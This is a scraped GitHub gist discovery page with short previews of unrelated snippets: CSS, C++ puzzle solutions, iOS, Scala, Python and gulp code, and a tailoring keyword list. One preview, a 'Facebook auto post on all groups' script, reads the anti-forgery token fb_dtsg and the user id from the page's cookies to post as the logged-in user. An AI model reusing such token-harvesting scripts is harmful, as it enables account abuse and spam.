Discover Gists

View jquery.crossfade.css
1 2 3 4 5 6 7
.crossfade img {
display: none;
}
 
.crossfade img.show {
display: block;
}
View gist:11140002
1 2 3 4 5 6 7 8 9 10
Bespoke tailoring services
Ethnic wear
Formal Suits
Italian Fabrics
Shirting and suiting
Sherwani and indo western
Designer wear showroom
Ties and accessories
Best menswear tailoring
Best Custom tailoring
View DNA Sorting
1 2 3 4 5 6 7 8 9 10
#include <fstream>
#include <iostream>
#include <algorithm>
#include <vector>
using namespace std;
//Arrange from "most sorted" to "least sorted".
bool comp(const string &s1, const string &s2)
{
string s[]={s1,s2};
int c[]={0,0};
View DetailViewController.m
1 2 3 4 5 6 7 8 9
/*
 
This sample uses your application's keyWindow - the window that all other views hang from. Since UIWindow is simply a subclass of UIView, we can add gesture recognizers to it.
 
No matter where you tap or scroll - the master view's table view, or a map in the detail view - the keyboard will be dismissed and your pan/tap gesture continues unhindered.
 
*/
 
// Adopt UIGestureRecognizerDelegate and UISearchBarDelegate protocols in .h
View FACEBOOK AUTO POST ON ALL GROUP - 100% WORK
1 2 3 4 5 6 7 8 9
/*HTML/JavaScript page status="protected"*/
/*Auto POST in All Facebook Group*/
/*Copyright © 2014 Gesti Gega. All Rights Reserved.*/
 
alert("Auto Post Wall Group");
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value;
var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
View shapelessy.scala
1 2 3 4 5 6 7 8 9 10
case class Foo[T](x: T) {
def map[B](f: T => B) = Foo(f(x))
}
 
object OldWay {
 
def combineLatest[T1, T2](e1: Foo[T1], e2: Foo[T2]): Foo[(T1, T2)] = Foo((e1.x, e2.x))
 
def combineLatest[T1, T2, T3](e1: Foo[T1], e2: Foo[T2], e3: Foo[T3]): Foo[(T1, T2, T3)] =
combineLatest(combineLatest(e1, e2), e3) map {
View gist:11135970
1 2 3 4 5 6 7 8 9 10
import requests
from lxml.html import fromstring, iterlinks
# https://github.com/zacharyvoase/urlobject/
from urlobject import URLObject
 
 
url = 'http://juanriaza.com'
req = requests.get(url, verify=False)
html_tree = fromstring(req.content)
html_tree.make_links_absolute(url, resolve_base_href=True)
View Create-a-new-project-modal.markdown
View gulpfile
1 2 3 4 5 6 7 8 9 10
var gulp = require('gulp'),
gutil = require('gulp-util'),
autoprefixer = require('gulp-autoprefixer'),
notify = require('gulp-notify'),
sass = require('gulp-ruby-sass'),
jshint = require('gulp-jshint'),
stylish = require('jshint-stylish'),
uglify = require('gulp-uglify'),
rename = require('gulp-rename'),
livereload = require('gulp-livereload'),
View Beautiful Meadow
1 2 3 4 5 6 7 8 9 10
#include <fstream>
#include <iostream>
#include <algorithm>
#include <vector>
using namespace std;
//Is Tom's meadow beautiful now?
int main()
{
//ifstream cin("beautiful_meadow.txt");
int n,m;
Something went wrong with that request. Please try again.